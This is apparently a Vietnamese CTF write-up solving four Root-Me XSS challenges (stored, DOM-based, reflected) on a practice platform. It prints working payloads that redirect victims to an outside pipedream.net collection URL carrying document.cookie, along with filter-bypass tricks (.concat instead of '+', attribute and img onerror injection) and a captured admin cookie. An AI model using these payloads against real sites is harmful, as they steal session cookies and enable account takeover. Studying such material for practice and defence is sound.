> For the complete documentation index, see [llms.txt](https://shangs.gitbook.io/shine/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shangs.gitbook.io/shine/write-up-ctf/ctf-wargame/root-me-writeup-xss-challenge.md).

# \[Root me] Writeup XSS Challenge

## XSS - Stored 1

Trong bài này này basic, khi vào chúng ta sẽ thấy interface như này:

![](/files/Dgjgm8wV7ROXEScElFSX)

Có form điền Title và Mesage khi đó chúg ta hãy thử gửi lên một đoạn message như người dùng bình thường, tiếp đó thử chèn đoạn script: <`script>alert(1)</script>`

Khi đó chúng ta thấy script này chèn thành công vào span tag vào payload thành công từ đó chúng ta thay `alert()` thành `document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c="+document.cookie`

Chờ một phút sau cookie sẽ được gửi về [requestbin](https://requestbin.com/)

## **XSS DOM Based – Introduction**

Trong bài này thì khi vào nó cho một input nhập từ 0 tới 100, thử nhập 100 xem nó sẽ ra gì:

![](/files/g44B19IfkTVfgjVUaHVi)

Ctr+U để mở source code lên xem như nào:

![](/files/tPr4txZ6KmmYKns2l1KJ)

Ở đây ta thấy rằng có một biến là `number` và khi ta nhập số là biến `number` được gán vào:

Ý tưởng bài này thì chúng ta sẽ break out JS bằng cách `';` hoặc `'-`

`';alert(1)// hoặc '-alert(1)//`

![](/files/J9OvbSP7EOOcgDxQ6R70)

`Payload thành công!!!` Khi đó đoạn script nó sẽ như này:

![](/files/e70oYA4WJesIjdiMI3AH)

Vậy như bài trên chúng ta lại thay payload như này trên URL

`http://my-url/number=%27%3Bdocument.location%3D%22https%3A%2F%2Feoqnvkovg5mm73q.m.pipedream.net%3Fc%3D%22%2Bdocument.cookie//`

Vì XSS là lỗ hổng client side nên chúng ta sẽ gửi nó từ contact cho admin:

![](/files/kAIyV7a2G4qloBxCKmde)

Khi đó con bot sẽ leak cookie của admin về khi admin nhấp vào đọc:<br>

!\[Graphical user interface, text, application

Description automatically generated]\(/files/SLqTB1Td7SFv6Rzq2aLn)

## **XSS Reflected**

![](/files/psEdKYaXardCQthZy93i)

Bài này  nhìn qua thì không có form để test XSS mà đề bài là Reflected XSS nên chúng ta sẽ xem xét  ở URL:

![Graphical user ](/files/8A6hj0pnZyES3Ot12zQv)

Nếu chúng ta thay đổi `p=sha1` thì nó sẽ ra gì:

![](/files/XtgHhHsImiygDRfDMZyN)

Nó sẽ ra như này, tiếp đó mở source code kiếm tra:

![](/files/oRQORlqxyB3zNcO3SqYC)

Thấy rằng p=sha1 là giá trị của thuộc tính href như vậy chúng ta cần suy nghĩa làm sao để chèn được vào đây.

Dùng thuộc tính `onmousover` hoặc `onclick` để thêm vào thẻ `<a>` nhưng nên nhớ rằng thường thì admin sẽ không nhấp vào link lạ nên ở đây chúng ta chọn `omouseover`, khi đó đoạn gắn shau `p` sẽ là:

`sha1' onmousemove='alert(1)`

![](/files/c9JsNTtUKAFeD5AKQuro)

&#x20;&#x20;

![](/files/PRXx7M91MiEHHof7KEgv)

Khi đó payload sẽ như này:

`sha1' onmousemove='document.location="https://eoqnvkovg5mm73q.m.pipedream.net?c=".concat(document.cookie)`

`Nên nhớ rằng chúng ta phải dùng nối chuỗi` .concat `trong JS vì dấu + đã bị filter đi`

`Sau khi gửi và report cho admin thì chúng ta chờ một phút để con bot leak thông tin và gửi về requestbin`

## XSS - Stored 2

![](/files/87PM83ArQ97vRWFwj6yY)

`Interface` khá giống với bài Stored 1 nhưng chỉ có điều nó thêm `status`

Bật `source code` lên kiểm tra thì có một class được đặt là `invite`

![](/files/GEXJtOGAYsk72SwUPolF)

Ý tưởng sẽ dùng Burp suite để bắt hành động:

![](/files/lLY8DDbcW3qSRXsQ4j2J)

Nhận thấy `Cookie` có `status:invite,` vậy thì chúng ta hay thử thay đổi giá trị `status` xem như nào:

![](/files/d6OJ9C3siCGlO4XdyFDj)

Khi đó chúng ta `forward`  để trang web gửi lên sever và nhận ra rằng status đã thay đổi

![](/files/G5ruCLvkLVYYgtX6NcXn)

Ý tưởng bây giờ là break out đoạn souce code này:

![](/files/r59KaszjjI0sRRJFwSZg)

Ở đây payload lúc đó sẽ là `"><img scr=1 onerror=alert(1) />` (`">` để đóng thẻ `i` lại)

![](/files/djODae1YfWynmu7uFNdo)

Payload thành công giờ chỉ cần thay alert() thành document....và gửi nó lên, đợi một lúc thì được trả về ADMIN\_COOKIE như này<<\<Lưu ý: có thể dùng .concat để nối chuỗi nếu bị filter dấu + >>

![](/files/hsMs9WUpDX8Xb26TQhFg)

![](/files/K004CtFlannQxHlyJWdy)

Lúc đầu mình nghĩa đây là flag nhưng không đúng, thì chợt nhận ra status nó là invite thì mình cần thay đổi cookie và reload lại trang:

Cookie: status=invite; ADMIN\_COOKIE=SY2USDIH78TF3DFU78546TE7F

![](/files/YGpBZh20kuj8KCR7eFw6)

Các phần tiếp theo sẽ được cập nhật trong thời gian sớm nhất cảm ơn các bạn đã đọc bài...
